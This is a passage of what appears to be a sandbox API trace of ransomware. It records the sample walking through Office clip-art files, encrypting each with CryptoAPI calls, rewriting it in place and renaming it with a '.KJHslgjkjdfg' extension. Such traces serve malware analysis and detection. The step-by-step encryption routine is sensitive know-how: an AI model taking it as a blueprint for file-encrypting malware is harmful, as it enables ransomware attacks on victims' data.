dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.759] GetProcessHeap () returned 0x2a0000 [0181.759] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.759] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.759] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.760] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.762] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.762] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.762] GetProcessHeap () returned 0x2a0000 [0181.762] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.762] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.762] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.762] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.762] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.762] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.762] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.762] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.763] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.763] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.763] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.763] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.763] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x80d8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x80d8, lpOverlapped=0x0) returned 1 [0181.764] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x80e0, dwBufLen=0x80e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x80e0) returned 1 [0181.765] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.765] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x80e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x80e0, lpOverlapped=0x0) returned 1 [0181.765] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.765] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x81b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.765] SetEndOfFile (hFile=0x114) returned 1 [0181.768] GetProcessHeap () returned 0x2a0000 [0181.768] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.768] GetProcessHeap () returned 0x2a0000 [0181.768] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.768] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf.kjhslgjkjdfg")) returned 1 [0181.769] CloseHandle (hObject=0x114) returned 1 [0181.770] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc6d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287024.WMF", cAlternateFileName="")) returned 1 [0181.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.770] GetProcessHeap () returned 0x2a0000 [0181.770] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.770] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.770] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.771] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0181.773] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.773] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.773] GetProcessHeap () returned 0x2a0000 [0181.773] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.773] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.773] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.773] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.773] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.773] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.773] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.774] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.774] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.774] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.774] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.774] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.774] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc6d2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xc6d2, lpOverlapped=0x0) returned 1 [0181.775] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc6e0, dwBufLen=0xc6e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc6e0) returned 1 [0181.776] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.776] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc6e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xc6e0, lpOverlapped=0x0) returned 1 [0181.776] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.777] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc7b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.777] SetEndOfFile (hFile=0x114) returned 1 [0181.779] GetProcessHeap () returned 0x2a0000 [0181.779] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.779] GetProcessHeap () returned 0x2a0000 [0181.779] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.779] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf.kjhslgjkjdfg")) returned 1 [0181.782] CloseHandle (hObject=0x114) returned 1 [0181.782] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcd10, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287408.WMF", cAlternateFileName="")) returned 1 [0181.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.783] GetProcessHeap () returned 0x2a0000 [0181.783] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.783] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.783] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.783] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.783] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.783] GetProcessHeap () returned 0x2a0000 [0181.783] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.783] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.783] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.783] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.786] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.786] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.786] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.786] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.786] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.786] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.786] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.786] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.786] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xcd10, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xcd10, lpOverlapped=0x0) returned 1 [0181.787] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xcd10, dwBufLen=0xcd10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xcd10) returned 1 [0181.788] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.788] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xcd10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xcd10, lpOverlapped=0x0) returned 1 [0181.788] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.788] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xcde4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.788] SetEndOfFile (hFile=0x114) returned 1 [0181.791] GetProcessHeap () returned 0x2a0000 [0181.791] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.791] GetProcessHeap () returned 0x2a0000 [0181.791] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.791] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf.kjhslgjkjdfg")) returned 1 [0181.792] CloseHandle (hObject=0x114) returned 1 [0181.792] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa80c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287415.WMF", cAlternateFileName="")) returned 1 [0181.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.793] GetProcessHeap () returned 0x2a0000 [0181.793] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.793] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.793] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.793] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.796] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.796] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.796] GetProcessHeap () returned 0x2a0000 [0181.796] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.796] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.796] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.796] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.796] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.796] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.796] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.797] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.797] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.797] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.797] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.797] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.797] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa80c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa80c, lpOverlapped=0x0) returned 1 [0181.798] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa810, dwBufLen=0xa810 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa810) returned 1 [0181.798] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.798] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa810, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa810, lpOverlapped=0x0) returned 1 [0181.799] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.799] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa8e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.799] SetEndOfFile (hFile=0x114) returned 1 [0181.801] GetProcessHeap () returned 0x2a0000 [0181.801] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.801] GetProcessHeap () returned 0x2a0000 [0181.801] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.801] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf.kjhslgjkjdfg")) returned 1 [0181.803] CloseHandle (hObject=0x114) returned 1 [0181.803] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd6bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287417.WMF", cAlternateFileName="")) returned 1 [0181.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.804] GetProcessHeap () returned 0x2a0000 [0181.804] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.804] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.804] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.804] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.806] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.806] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.806] GetProcessHeap () returned 0x2a0000 [0181.806] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.807] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.807] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.807] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: 